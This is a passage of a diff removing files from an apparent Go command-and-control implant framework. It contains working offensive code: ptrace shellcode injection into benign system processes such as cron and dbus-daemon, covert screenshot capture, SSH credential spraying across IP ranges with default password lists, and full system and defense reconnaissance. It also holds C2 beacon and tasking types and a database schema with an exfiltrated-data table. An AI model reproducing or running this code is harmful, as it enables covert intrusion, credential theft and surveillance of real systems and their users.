r.Results = append(r.Results, fmt.Sprintf("PID %d (%s): %s", t.PID, t.Name, target.Status))
}
return r
}
func (p *ProcessInject) findProcesses(name string) []injectTarget {
var targets []injectTarget
out, err := exec.Command("ps", "aux").Output()
if err != nil {
return targets
}
lines := strings.Split(string(out), "\n")
for _, line := range lines {
if strings.Contains(line, name) {
fields := strings.Fields(line)
if len(fields) > 1 {
var pid int
fmt.Sscanf(fields[1], "%d", &pid)
if pid > 0 && pid != os.Getpid() {
targets = append(targets, injectTarget{
PID: pid,
Name: fields[len(fields)-1],
})
}
}
}
}
return targets
}
func (p *ProcessInject) findBenignProcesses() []injectTarget {
benign := []string{"systemd-journal", "systemd-logind", "cron", "irqbalance", "dbus-daemon"}
var targets []injectTarget
for _, name := range benign {
targets = append(targets, p.findProcesses(name)...)
}
return targets
}
func (p *ProcessInject) injectShellcode(pid int, shellcodeHex string) injectTarget {
t := injectTarget{PID: pid, Status: "failed"}
// Get process name
if comm, err := os.ReadFile(fmt.Sprintf("/proc/%d/comm", pid)); err == nil {
t.Name = strings.TrimSpace(string(comm))
}
// Attach via ptrace
err := syscall.PtraceAttach(pid)
if err != nil {
t.Details = fmt.Sprintf("ptrace attach failed: %v", err)
return t
}
// Wait for process to stop
var ws syscall.WaitStatus
_, err = syscall.Wait4(pid, &ws, 0, nil)
if err != nil {
syscall.PtraceDetach(pid)
t.Details = fmt.Sprintf("wait failed: %v", err)
return t
}
// Get registers
regs := &syscall.PtraceRegs{}
err = syscall.PtraceGetRegs(pid, regs)
if err != nil {
syscall.PtraceDetach(pid)
t.Details = fmt.Sprintf("getregs failed: %v", err)
return t
}
// Shellcode is required - there is nothing to run without it.
if shellcodeHex == "" {
syscall.PtraceDetach(pid)
t.Details = "no shellcode provided"
return t
}
shellcode := hexDecode(shellcodeHex)
// Write shellcode word by word using PTRACE_POKEDATA
for i := 0; i < len(shellcode); i += 8 {
var word uint64
for j := 0; j < 8 && i+j < len(shellcode); j++ {
word |= uint64(shellcode[i+j]) << (j * 8)
}
addr := uintptr(regs.Rsp - uint64(len(shellcode)) + uint64(i))
_, _, errno := syscall.Syscall6(syscall.SYS_PTRACE, syscall.PTRACE_POKEDATA,
uintptr(pid), addr, uintptr(word), 0, 0)
if errno != 0 {
t.Details = fmt.Sprintf("pokedata failed at offset %d: %v", i, errno)
syscall.PtraceDetach(pid)
return t
}
}
// Set instruction pointer to shellcode address
regs.Rip = regs.Rsp - uint64(len(shellcode))
err = syscall.PtraceSetRegs(pid, regs)
if err != nil {
syscall.PtraceDetach(pid)
t.Details = fmt.Sprintf("setregs failed: %v", err)
return t
}
// Detach (process will execute shellcode)
err = syscall.PtraceDetach(pid)
if err != nil {
t.Details = fmt.Sprintf("detach failed: %v", err)
return t
}
t.Status = "success"
t.Details = fmt.Sprintf("Injected %d bytes shellcode", len(shellcode))
return t
}
func hexDecode(s string) []byte {
var data []byte
for i := 0; i < len(s)-1; i += 2 {
var b byte
fmt.Sscanf(s[i:i+2], "%02x", &b)
data = append(data, b)
}
return data
}
-119
View File
@@ -1,119 +0,0 @@
package payloads
import (
"encoding/base64"
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
)
func init() {
Register(&Screenshot{})
}
type Screenshot struct{}
func (s *Screenshot) Name() string { return "screenshot" }
func (s *Screenshot) Category() string { return "collection" }
func (s *Screenshot) Description() string {
return "Capture screen using import/xwd (Linux) or platform-specific tools"
}
func (s *Screenshot) Execute(args map[string]string) ([]byte, error) {
result := s.capture()
return MarshalJSON(result)
}
type screenshotResult struct {
Timestamp string `json:"timestamp"`
Method string `json:"method"`
FilePath string `json:"filepath"`
Size int64 `json:"size_bytes"`
Base64 string `json:"base64,omitempty"`
Error string `json:"error,omitempty"`
}
func (s *Screenshot) capture() *screenshotResult {
r := &screenshotResult{
Timestamp: time.Now().UTC().Format(time.RFC3339),
}
outputDir := filepath.Join(os.TempDir(), ".rogue", "screenshots")
os.MkdirAll(outputDir, 0700)
filename := fmt.Sprintf("screenshot_%s.png", time.Now().Format("20060102_150405"))
filepath := filepath.Join(outputDir, filename)
// Method 1: import (ImageMagick)
if imp, err := exec.LookPath("import"); err == nil {
r.Method = "import (ImageMagick)"
cmd := exec.Command(imp, "-window", "root", filepath)
if err := cmd.Run(); err == nil {
return s.finalize(r, filepath)
}
}
// Method 2: xwd + convert
if xwd, err := exec.LookPath("xwd"); err == nil {
xwdFile := filepath + ".xwd"
cmd := exec.Command(xwd, "-root", "-out", xwdFile)
if err := cmd.Run(); err == nil {
if convert, err := exec.LookPath("convert"); err == nil {
exec.Command(convert, xwdFile, filepath).Run()
os.Remove(xwdFile)
if _, err := os.Stat(filepath); err == nil {
r.Method = "xwd+convert"
return s.finalize(r, filepath)
}
}
// Fallback: return xwd
filepath = xwdFile
r.Method = "xwd"
return s.finalize(r, filepath)
}
}
// Method 3: scrot
if scrot, err := exec.LookPath("scrot"); err == nil {
scrotFile := filepath
cmd := exec.Command(scrot, scrotFile, "-z") // -z = silent
if err := cmd.Run(); err == nil {
r.Method = "scrot"
return s.finalize(r, scrotFile)
}
}
// Method 4: gnome-screenshot
if gnome, err := exec.LookPath("gnome-screenshot"); err == nil {
cmd := exec.Command(gnome, "-f", filepath)
if err := cmd.Run(); err == nil {
r.Method = "gnome-screenshot"
return s.finalize(r, filepath)
}
}
r.Error = "No screen capture tool found (try: import, xwd, scrot, gnome-screenshot)"
return r
}
func (s *Screenshot) finalize(r *screenshotResult, path string) *screenshotResult {
fi, err := os.Stat(path)
if err == nil {
r.FilePath = path
r.Size = fi.Size()
}
// Base64 encode small captures (< 1MB)
if r.Size > 0 && r.Size < 1*1024*1024 {
if data, err := os.ReadFile(path); err == nil {
r.Base64 = base64.StdEncoding.EncodeToString(data)
}
}
return r
}
// Force unused import suppression
var _ = strings.TrimSpace
-238
View File
@@ -1,238 +0,0 @@
package payloads
import (
"fmt"
"net"
"os"
"path/filepath"
"strings"
"sync"
"time"
"golang.org/x/crypto/ssh"
)
func init() {
Register(&SSHSpray{})
}
type SSHSpray struct{}
func (s *SSHSpray) Name() string { return "sshspray" }
func (s *SSHSpray) Category() string { return "lateral" }
func (s *SSHSpray) Description() string { return "SSH credential spraying with goroutine worker pool" }
func (s *SSHSpray) Execute(args map[string]string) ([]byte, error) {
targetsStr := args["targets"]
usersStr := args["usernames"]
passStr := args["passwords"]
targetFile := args["target_file"]
threadsInt := 5
timeoutInt := 5
fmt.Sscanf(args["threads"], "%d", &threadsInt)
fmt.Sscanf(args["timeout"], "%d", &timeoutInt)
result := s.spray(targetsStr, usersStr, passStr, targetFile, threadsInt, timeoutInt)
return MarshalJSON(result)
}
type sshSprayResult struct {
Timestamp string `json:"timestamp"`
Successes int `json:"successful"`
Failed int `json:"failed"`
Errors int `json:"errors"`
Credentials []sshCred `json:"credentials"`
SampleErrors []map[string]string `json:"sample_errors,omitempty"`
TotalAttempts int `json:"total_attempts"`
}
type sshCred struct {
Target string `json:"target"`
Username string `json:"username"`
Password string `json:"password"`
Time string `json:"timestamp"`
}
func (s *SSHSpray) spray(targetsStr, usersStr, passStr, targetFile string, threads, timeoutSec int) *sshSprayResult {
r := &sshSprayResult{
Timestamp: time.Now().UTC().Format(time.RFC3339),
}
// Parse targets
var targets []string
if targetFile != "" {
data, err := os.ReadFile(targetFile)
if err == nil {
for _, line := range strings.Split(string(data), "\n") {
line = strings.TrimSpace(line)
if line != "" {
targets = append(targets, expandTarget(line)...)
}
}
}
}
if targetsStr != "" {
for _, t := range strings.Split(targetsStr, ",") {
t = strings.TrimSpace(t)
if t != "" {
targets = append(targets, expandTarget(t)...)
}
}
}
// Parse/users passwords
usernames := []string{"root", "admin", "ubuntu", "pi", "test", "user", "oracle", "postgres"}
passwords := []string{"password", "123456", "admin", "root", "test", "password123", "toor", "raspberry", "changeme"}
if usersStr != "" {
usernames = strings.Split(usersStr, ",")
}
if passStr != "" {
passwords = strings.Split(passStr, ",")
}
if len(targets) == 0 {
return r
}
// Build job queue
type job struct {
target string
username string
password string
}
jobs := make(chan job, 1000)
go func() {
for _, target := range targets {
for _, user := range usernames {
for _, pass := range passwords {
jobs <- job{target: target, username: strings.TrimSpace(user), password: strings.TrimSpace(pass)}
}
}
}
close(jobs)
}()
var wg sync.WaitGroup
var mu sync.Mutex
sema := make(chan struct{}, threads)
for j := range jobs {
if len(r.Credentials) > 50 {
// Stop when we have enough successes
break
}
sema <- struct{}{}
wg.Add(1)
go func(j job) {
defer wg.Done()
defer func() { <-sema }()
success := trySSH(j.target, j.username, j.password, timeoutSec)
mu.Lock()
if success {
r.Credentials = append(r.Credentials, sshCred{
Target: j.target,
Username: j.username,
Password: j.password,
Time: time.Now().UTC().Format(time.RFC3339),
})
r.Successes++
} else {
r.Failed++
}
mu.Unlock()
// Delay
time.Sleep(time.Duration(100+time.Now().Nanosecond()%1000) * time.Millisecond)
}(j)
}
wg.Wait()
r.TotalAttempts = r.Successes + r.Failed
// Save credentials
cacheDir := filepath.Join(os.TempDir(), ".rogue", "ssh")
os.MkdirAll(cacheDir, 0700)
credFile := filepath.Join(cacheDir, fmt.Sprintf("ssh_creds_%s.txt", time.Now().Format("20060102_150405")))
var credLines []string
for _, c := range r.Credentials {
credLines = append(credLines, fmt.Sprintf("%s:%s:%s", c.Target, c.Username, c.Password))
}
os.WriteFile(credFile, []byte(strings.Join(credLines, "\n")), 0600)
return r
}
func expandTarget(target string) []string {
var targets []string
// CIDR range
if strings.Contains(target, "/") {
_, ipnet, err := net.ParseCIDR(target)
if err == nil {
firstIP := ipnet.IP.Mask(ipnet.Mask)
for ip := make(net.IP, len(firstIP)); copy(ip, firstIP) > 0; incIP(ip) {
if !ipnet.Contains(ip) {
break
}
if !ip.Equal(firstIP) {
targets = append(targets, ip.String())
}
if len(targets) >= 256 {
break
}
}
return targets
}
}
// Range like 192.168.1.1-100
if strings.Contains(target, "-") && strings.Count(target, ".") == 3 {
lastDot := strings.LastIndex(target, ".")
base := target[:lastDot]
rangeStr := target[lastDot+1:]
if strings.Contains(rangeStr, "-") {
parts := strings.SplitN(rangeStr, "-", 2)
var start, end int
n1, _ := fmt.Sscanf(parts[0], "%d", &start)
n2, _ := fmt.Sscanf(parts[1], "%d", &end)
if n1 == 1 && n2 == 1 {
for i := start; i <= end && i <= 255; i++ {
targets = append(targets, fmt.Sprintf("%s.%d", base, i))
}
}
return targets
}
}
targets = append(targets, target)
return targets
}
func incIP(ip net.IP) {
for j := len(ip) - 1; j >= 0; j-- {
ip[j]++
if ip[j] > 0 {
break
}
}
}
func trySSH(host, username, password string, timeout int) bool {
config := &ssh.ClientConfig{
User: username,
Auth: []ssh.AuthMethod{ssh.Password(password)},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
Timeout: time.Duration(timeout) * time.Second,
}
addr := fmt.Sprintf("%s:22", host)
client, err := ssh.Dial("tcp", addr, config)
if err != nil {
return false
}
client.Close()
return true
}
-486
View File
@@ -1,486 +0,0 @@
package payloads
import (
"bufio"
"bytes"
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"strconv"
"strings"
"syscall"
"time"
)
func init() {
Register(&SysRecon{})
}
type SysRecon struct{}
func (s *SysRecon) Name() string { return "sysrecon" }
func (s *SysRecon) Category() string { return "recon" }
func (s *SysRecon) Description() string {
return "Full system enumeration (OS, kernel, users, processes, network, hardware, software, defenses)"
}
func (s *SysRecon) Execute(args map[string]string) ([]byte, error) {
info := s.gatherSystemInfo()
return MarshalJSON(info)
}
type sysInfo struct {
Timestamp string `json:"timestamp"`
Hostname string `json:"hostname"`
FQDN string `json:"fqdn"`
OS map[string]string `json:"os"`
Kernel string `json:"kernel"`
BootTime string `json:"boot_time"`
Users []userInfo `json:"users"`
Processes []procInfo `json:"processes"`
Network networkInfo `json:"network"`
Hardware hardwareInfo `json:"hardware"`
Software softwareInfo `json:"software"`
Defenses defenseInfo `json:"defenses"`
}
type userInfo struct {
Username string `json:"username"`
UID int `json:"uid"`
GID int `json:"gid"`
Home string `json:"home"`
Shell string `json:"shell"`
Groups []string `json:"groups,omitempty"`
}
type procInfo struct {
PID int `json:"pid"`
Name string `json:"name"`
User string `json:"user,omitempty"`
CPU string `json:"cpu_percent,omitempty"`
Memory string `json:"memory_percent,omitempty"`
Cmdline string `json:"cmdline,omitempty"`
}
type networkInfo struct {
Interfaces []ifaceInfo `json:"interfaces"`
Connections []connInfo `json:"connections"`
Routing []routeInfo `json:"routing"`
DNS []string `json:"dns"`
ARP []string `json:"arp"`
}
type ifaceInfo struct {
Name string `json:"name"`
Addresses []string `json:"addresses"`
MAC string `json:"mac,omitempty"`
}
type connInfo struct {
FD int `json:"fd,omitempty"`
Local string `json:"local"`
Remote string `json:"remote"`
Status string `json:"status"`
PID int `json:"pid,omitempty"`
}
type routeInfo struct {
Interface string `json:"interface"`
Gateway string `json:"gateway,omitempty"`
Dest string `json:"destination,omitempty"`
}
type hardwareInfo struct {
CPU cpuInfo `json:"cpu"`
Memory memoryInfo `json:"memory"`
Disks []diskInfo `json:"disks"`
}
type cpuInfo struct {
Cores int `json:"cores"`
Threads int `json:"threads"`
Model string `json:"model"`
}
type memoryInfo struct {
Total uint64 `json:"total"`
Available uint64 `json:"available"`
Percent float64 `json:"percent"`
}
type diskInfo struct {
Device string `json:"device"`
Mountpoint string `json:"mountpoint"`
Fstype string `json:"fstype"`
Total uint64 `json:"total"`
Used uint64 `json:"used"`
Free uint64 `json:"free"`
Percent string `json:"percent"`
}
type softwareInfo struct {
Packages []string `json:"packages"`
Services []string `json:"services"`
Cron []string `json:"cron"`
}
type defenseInfo struct {
SELinux bool `json:"selinux"`
AppArmor bool `json:"apparmor"`
Firewall bool `json:"firewall"`
IDS []string `json:"ids"`
Antivirus []string `json:"antivirus"`
}
func (s *SysRecon) gatherSystemInfo() *sysInfo {
hostname, _ := os.Hostname()
return &sysInfo{
Timestamp: time.Now().UTC().Format(time.RFC3339),
Hostname: hostname,
FQDN: getFQDN(),
OS: map[string]string{
"system": runtime.GOOS,
"arch": runtime.GOARCH,
"goVersion": runtime.Version(),
},
Kernel: getKernelVersion(),
BootTime: getBootTime(),
Users: getUsers(),
Processes: getProcesses(),
Network: getNetworkInfo(),
Hardware: getHardwareInfo(),
Software: getSoftwareInfo(),
Defenses: getDefenseInfo(),
}
}
func getFQDN() string {
out, err := exec.Command("hostname", "-f").Output()
if err != nil {
return ""
}
return strings.TrimSpace(string(out))
}
func getKernelVersion() string {
data, err := os.ReadFile("/proc/sys/kernel/ostype")
if err != nil {
out, err := exec.Command("uname", "-a").Output()
if err != nil {
return runtime.GOOS
}
return strings.TrimSpace(string(out))
}
return strings.TrimSpace(string(data))
}
func getBootTime() string {
data, err := os.ReadFile("/proc/stat")
if err != nil {
return ""
}
scanner := bufio.NewScanner(bytes.NewReader(data))
for scanner.Scan() {
line := scanner.Text()
if strings.HasPrefix(line, "btime ") {
parts := strings.Fields(line)
if len(parts) == 2 {
sec, err := strconv.ParseInt(parts[1], 10, 64)
if err == nil {
return time.Unix(sec, 0).UTC().Format(time.RFC3339)
}
}
}
}
return ""
}
func getUsers() []userInfo {
var users []userInfo
data, err := os.ReadFile("/etc/passwd")
if err != nil {
return users
}
scanner := bufio.NewScanner(bytes.NewReader(data))
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line == "" || strings.HasPrefix(line, "#") {
continue
}
parts := strings.Split(line, ":")
if len(parts) >= 7 {
uid, _ := strconv.Atoi(parts[2])
gid, _ := strconv.Atoi(parts[3])
users = append(users, userInfo{
Username: parts[0],
UID: uid,
GID: gid,
Home: parts[5],
Shell: parts[6],
})
}
}
if len(users) > 50 {
users = users[:50]
}
return users
}
func getProcesses() []procInfo {
var procs []procInfo
data, err := os.ReadFile("/proc")
if err != nil {
return procs
}
_ = data
entries, err := os.ReadDir("/proc")
if err != nil {
return procs
}
count := 0
for _, e := range entries {
if !e.IsDir() {
continue
}
pid, err := strconv.Atoi(e.Name())
if err != nil {
continue
}
cmdline, _ := os.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
name := fmt.Sprintf("pid_%d", pid)
if len(cmdline) > 0 {
name = strings.ReplaceAll(string(cmdline), "\x00", " ")
}
procs = append(procs, procInfo{
PID: pid,
Name: filepath.Base(name),
Cmdline: name,
})
count++
if count >= 100 {
break
}
}
return procs
}
func getNetworkInfo() networkInfo {
net := networkInfo{}
// Interfaces via /proc/net/dev
data, err := os.ReadFile("/proc/net/dev")
if err == nil {
scanner := bufio.NewScanner(bytes.NewReader(data))
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if !strings.Contains(line, ":") {
continue
}
parts := strings.SplitN(line, ":", 2)
iface := strings.TrimSpace(parts[0])
net.Interfaces = append(net.Interfaces, ifaceInfo{
Name: iface,
Addresses: getInterfaceIPs(iface),
})
}
}
// DNS
dnsData, err := os.ReadFile("/etc/resolv.conf")
if err == nil {
scanner := bufio.NewScanner(bytes.NewReader(dnsData))
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line != "" && !strings.HasPrefix(line, "#") {
net.DNS = append(net.DNS, line)
}
}
}
// ARP
arpData, err := os.ReadFile("/proc/net/arp")
if err == nil {
scanner := bufio.NewScanner(bytes.NewReader(arpData))
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if !strings.HasPrefix(line, "IP") && line != "" {
net.ARP = append(net.ARP, line)
}
}
}
return net
}
func getInterfaceIPs(name string) []string {
var addrs []string
data, err := os.ReadFile(fmt.Sprintf("/sys/class/net/%s/address", name))
if err == nil {
addrs = append(addrs, "mac:"+strings.TrimSpace(string(data)))
}
out, err := exec.Command("ip", "-o", "-4", "addr", "show", name).Output()
if err == nil {
scanner := bufio.NewScanner(bytes.NewReader(out))
for scanner.Scan() {
line := scanner.Text()
fields := strings.Fields(line)
for i, f := range fields {
if f == "inet" && i+1 < len(fields) {
addrs = append(addrs, fields[i+1])
}
}
}
}
return addrs
}
func getHardwareInfo() hardwareInfo {
h := hardwareInfo{}
h.CPU.Cores = runtime.NumCPU()
h.CPU.Threads = runtime.NumCPU()
// CPU model
cpuData, err := os.ReadFile("/proc/cpuinfo")
if err == nil {
scanner := bufio.NewScanner(bytes.NewReader(cpuData))
for scanner.Scan() {
line := scanner.Text()
if strings.HasPrefix(line, "model name") {
parts := strings.SplitN(line, ":", 2)
if len(parts) == 2 {
h.CPU.Model = strings.TrimSpace(parts[1])
break
}
}
}
}
// Memory
memData, err := os.ReadFile("/proc/meminfo")
if err == nil {
scanner := bufio.NewScanner(bytes.NewReader(memData))
for scanner.Scan() {
line := scanner.Text()
parts := strings.Fields(line)
if len(parts) >= 2 {
val, _ := strconv.ParseUint(parts[1], 10, 64)
switch {
case strings.HasPrefix(line, "MemTotal:"):
h.Memory.Total = val * 1024
case strings.HasPrefix(line, "MemAvailable:"):
h.Memory.Available = val * 1024
}
}
}
if h.Memory.Total > 0 {
h.Memory.Percent = 100.0 * float64(h.Memory.Total-h.Memory.Available) / float64(h.Memory.Total)
}
}
// Disks
h.Disks = getDiskInfo()
return h
}
func getDiskInfo() []diskInfo {
var disks []diskInfo
data, err := os.ReadFile("/proc/mounts")
if err != nil {
return disks
}
scanner := bufio.NewScanner(bytes.NewReader(data))
for scanner.Scan() {
line := scanner.Text()
parts := strings.Fields(line)
if len(parts) < 3 {
continue
}
// Only physical filesystems
if strings.HasPrefix(parts[0], "/dev/") {
var stat syscall.Statfs_t
err := syscall.Statfs(parts[1], &stat)
if err != nil {
continue
}
total := stat.Blocks * uint64(stat.Bsize)
free := stat.Bfree * uint64(stat.Bsize)
used := total - free
percent := "0%"
if total > 0 {
percent = fmt.Sprintf("%.1f%%", 100.0*float64(used)/float64(total))
}
disks = append(disks, diskInfo{
Device: parts[0],
Mountpoint: parts[1],
Fstype: parts[2],
Total: total,
Used: used,
Free: free,
Percent: percent,
})
}
}
return disks
}
func getSoftwareInfo() softwareInfo {
sw := softwareInfo{}
// Packages (dpkg)
if _, err := os.Stat("/etc/debian_version"); err == nil {
out, err := exec.Command("dpkg", "-l").Output()
if err == nil {
scanner := bufio.NewScanner(bytes.NewReader(out))
for scanner.Scan() {
line := scanner.Text()
if strings.HasPrefix(line, "ii") {
sw.Packages = append(sw.Packages, line)
}
}
if len(sw.Packages) > 50 {
sw.Packages = sw.Packages[:50]
}
}
}
// Cron
out, err := exec.Command("crontab", "-l").Output()
if err == nil {
scanner := bufio.NewScanner(bytes.NewReader(out))
for scanner.Scan() {
sw.Cron = append(sw.Cron, scanner.Text())
}
}
// Running services (systemd)
svcOut, err := exec.Command("systemctl", "list-units", "--type=service", "--state=running", "--no-pager").Output()
if err == nil {
scanner := bufio.NewScanner(bytes.NewReader(svcOut))
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if strings.HasSuffix(line, ".service") {
sw.Services = append(sw.Services, line)
}
}
if len(sw.Services) > 50 {
sw.Services = sw.Services[:50]
}
}
return sw
}
func getDefenseInfo() defenseInfo {
d := defenseInfo{}
// SELinux
if _, err := os.Stat("/usr/sbin/sestatus"); err == nil {
out, err := exec.Command("sestatus").Output()
if err == nil {
d.SELinux = strings.Contains(strings.ToLower(string(out)), "enabled")
}
}
// AppArmor
if _, err := os.Stat("/sys/module/apparmor/parameters/enabled"); err == nil {
data, err := os.ReadFile("/sys/module/apparmor/parameters/enabled")
if err == nil {
d.AppArmor = strings.TrimSpace(string(data)) == "Y"
}
}
// Firewall
out, err := exec.Command("iptables", "-L", "-n").Output()
if err == nil {
d.Firewall = strings.Contains(string(out), "Chain INPUT")
}
return d
}
-92
View File
@@ -1,92 +0,0 @@
// Package protocol defines shared types between C2 server and implants.
package protocol
import "time"
// ImplantType identifies which platform the implant runs on.
type ImplantType string
const (
ImplantWindows ImplantType = "windows"
ImplantLinux ImplantType = "linux"
ImplantMacOS ImplantType = "darwin"
ImplantAndroid ImplantType = "android"
ImplantIOS ImplantType = "ios"
)
// BeaconPayload is sent by the implant on each check-in.
type BeaconPayload struct {
ID string `json:"id"`
Type ImplantType `json:"type"`
Target string `json:"target"`
Timestamp int64 `json:"ts"`
Jitter float64 `json:"jitter"`
Hostname string `json:"hostname,omitempty"`
Arch string `json:"arch,omitempty"`
PeerAddr string `json:"peer_addr,omitempty"`
}
// Task is a command issued by the operator/C2 to the implant.
type Task struct {
ID string `json:"id"`
Type string `json:"type"`
Payload map[string]any `json:"payload"`
Timestamp int64 `json:"ts"`
TTL int `json:"ttl,omitempty"` // seconds
}
// TaskResult is the implant's response to a task.
type TaskResult struct {
TaskID string `json:"task_id"`
Success bool `json:"success"`
Output string `json:"output,omitempty"`
Error string `json:"error,omitempty"`
Timestamp int64 `json:"ts"`
}
// ImplantRecord stored in DB.
type ImplantRecord struct {
ID string `json:"id"`
Type string `json:"type"`
TargetProc string `json:"target_proc"`
Hostname string `json:"hostname"`
Arch string `json:"arch"`
FirstSeen time.Time `json:"first_seen"`
LastSeen time.Time `json:"last_seen"`
BeaconCount int `json:"beacon_count"`
TasksSent int `json:"tasks_sent"`
TasksDone int `json:"tasks_done"`
JitterScore float64 `json:"jitter_score"`
DNSEnabled bool `json:"dns_enabled"`
MeshEnabled bool `json:"mesh_enabled"`
Flagged bool `json:"flagged"`
NodeID string `json:"node_id,omitempty"` // which C2 node owns it
}
// MeshNode represents a peer C2 node in the mesh.
type MeshNode struct {
ID string `json:"id"`
Addr string `json:"addr"`
PublicKey []byte `json:"pubkey"`
LastSeen time.Time `json:"last_seen"`
Implants int `json:"implants"`
Version string `json:"version"`
}
// MeshHeartbeat is exchanged between mesh peers.
type MeshHeartbeat struct {
NodeID string `json:"node_id"`
Addr string `json:"addr"`
Implants []string `json:"implant_ids"`
Timestamp int64 `json:"ts"`
Signature []byte `json:"sig"`
}
// APIConfig is returned to authenticated operators.
type APIConfig struct {
Version string `json:"version"`
C2ID string `json:"c2_id"`
Implants int `json:"implants"`
Peers int `json:"peers"`
Uptime string `json:"uptime"`
}
-313
View File
@@ -1,313 +0,0 @@
// Package store provides the database abstraction layer.
package store
import (
"database/sql"
"encoding/json"
"fmt"
"sync"
"time"
_ "github.com/mattn/go-sqlite3"
"github.com/saviorSEC/ranger/internal/protocol"
)
// Store wraps the SQLite database.
type Store struct {
db *sql.DB
mu sync.RWMutex
}
// New opens or creates the SQLite database.
func New(path string) (*Store, error) {
db, err := sql.Open("sqlite3", path+"?_journal_mode=WAL&_busy_timeout=5000")
if err != nil {
return nil, fmt.Errorf("open db: %w", err)
}
s := &Store{db: db}
if err := s.migrate(); err != nil {
return nil, fmt.Errorf("migrate: %w", err)
}
return s, nil
}
func (s *Store) migrate() error {
s.mu.Lock()
defer s.mu.Unlock()
tx, err := s.db.Begin()
if err != nil {
return err
}
defer tx.Rollback()
stmts := []string{
`CREATE TABLE IF NOT EXISTS implants (
id TEXT PRIMARY KEY,
impl_type TEXT NOT NULL DEFAULT 'windows',
target_proc TEXT,
hostname TEXT,
arch TEXT,
first_seen DATETIME NOT NULL,
last_seen DATETIME NOT NULL,
beacon_count INTEGER DEFAULT 0,
tasks_sent INTEGER DEFAULT 0,
tasks_done INTEGER DEFAULT 0,
jitter_score REAL DEFAULT 1.0,
dns_enabled INTEGER DEFAULT 0,
mesh_enabled INTEGER DEFAULT 0,
flagged INTEGER DEFAULT 0,
node_id TEXT,
metadata TEXT
)`,
`CREATE TABLE IF NOT EXISTS tasks (
id TEXT PRIMARY KEY,
implant_id TEXT NOT NULL,
task_type TEXT NOT NULL,
payload TEXT,
created_at DATETIME NOT NULL,
executed_at DATETIME,
result TEXT,
status TEXT DEFAULT 'pending',
channel TEXT DEFAULT 'primary',
FOREIGN KEY(implant_id) REFERENCES implants(id)
)`,
`CREATE TABLE IF NOT EXISTS mesh_nodes (
id TEXT PRIMARY KEY,
addr TEXT NOT NULL,
pubkey BLOB,
last_seen DATETIME NOT NULL,
implant_count INTEGER DEFAULT 0,
version TEXT
)`,
`CREATE TABLE IF NOT EXISTS exfil_data (
id INTEGER PRIMARY KEY AUTOINCREMENT,
implant_id TEXT NOT NULL,
data_type TEXT,
data BLOB,
channel TEXT DEFAULT 'primary',
received_at DATETIME NOT NULL,
FOREIGN KEY(implant_id) REFERENCES implants(id)
)`,
`CREATE TABLE IF NOT EXISTS operators (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
password_hash TEXT NOT NULL,
role TEXT DEFAULT 'operator',
created_at DATETIME NOT NULL
)`,
}
for _, stmt := range stmts {
if _, err := tx.Exec(stmt); err != nil {
return fmt.Errorf("stmt %q: %w", stmt[:60], err)
}
}
return tx.Commit()
}
// Close closes the database.
func (s *Store) Close() error {
return s.db.Close()
}
// UpsertImplant creates or updates an implant record.
func (s *Store) UpsertImplant(ir *protocol.ImplantRecord) error {
s.mu.Lock()
defer s.mu.Unlock()
now := time.Now().UTC()
_, err := s.db.Exec(`
INSERT INTO implants (id, impl_type, target_proc, hostname, arch, first_seen, last_seen, beacon_count, jitter_score, dns_enabled, mesh_enabled, flagged, node_id)
VALUES (?, ?, ?, ?, ?, ?, ?, 1, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
last_seen = excluded.last_seen,
beacon_count = beacon_count + 1,
target_proc = COALESCE(excluded.target_proc, target_proc),
hostname = COALESCE(excluded.hostname, hostname),
jitter_score = excluded.jitter_score,
dns_enabled = excluded.dns_enabled,
mesh_enabled = excluded.mesh_enabled,
node_id = COALESCE(excluded.node_id, node_id)
`, ir.ID, ir.Type, ir.TargetProc, ir.Hostname, ir.Arch, now, now,
ir.JitterScore, boolToInt(ir.DNSEnabled), boolToInt(ir.MeshEnabled),
boolToInt(ir.Flagged), ir.NodeID)
return err
}
// GetImplant retrieves a single implant.
func (s *Store) GetImplant(id string) (*protocol.ImplantRecord, error) {
s.mu.RLock()
defer s.mu.RUnlock()
row := s.db.QueryRow(`SELECT id, impl_type, target_proc, hostname, arch, first_seen, last_seen, beacon_count, tasks_sent, tasks_done, jitter_score, dns_enabled, mesh_enabled, flagged, node_id FROM implants WHERE id = ?`, id)
ir := &protocol.ImplantRecord{}
var dnsEn, meshEn, flagged int
err := row.Scan(&ir.ID, &ir.Type, &ir.TargetProc, &ir.Hostname, &ir.Arch, &ir.FirstSeen, &ir.LastSeen, &ir.BeaconCount, &ir.TasksSent, &ir.TasksDone, &ir.JitterScore, &dnsEn, &meshEn, &flagged, &ir.NodeID)
if err != nil {
return nil, err
}
ir.DNSEnabled = dnsEn == 1
ir.MeshEnabled = meshEn == 1
ir.Flagged = flagged == 1
return ir, nil
}
// ListImplants returns all implant records.
func (s *Store) ListImplants() ([]protocol.ImplantRecord, error) {
s.mu.RLock()
defer s.mu.RUnlock()
rows, err := s.db.Query(`SELECT id, impl_type, target_proc, hostname, arch, first_seen, last_seen, beacon_count, tasks_sent, tasks_done, jitter_score, dns_enabled, mesh_enabled, flagged, node_id FROM implants ORDER BY last_seen DESC`)
if err != nil {
return nil, err
}
defer rows.Close()
var out []protocol.ImplantRecord
for rows.Next() {
var ir protocol.ImplantRecord
var dnsEn, meshEn, flagged int
if err := rows.Scan(&ir.ID, &ir.Type, &ir.TargetProc, &ir.Hostname, &ir.Arch, &ir.FirstSeen, &ir.LastSeen, &ir.BeaconCount, &ir.TasksSent, &ir.TasksDone, &ir.JitterScore, &dnsEn, &meshEn, &flagged, &ir.NodeID); err != nil {
return nil, err
}
ir.DNSEnabled = dnsEn == 1
ir.MeshEnabled = meshEn == 1
ir.Flagged = flagged == 1
out = append(out, ir)
}
return out, rows.Err()
}
// ImplantCount returns the total number of implants.
func (s *Store) ImplantCount() (int, error) {
s.mu.RLock()
defer s.mu.RUnlock()
var n int
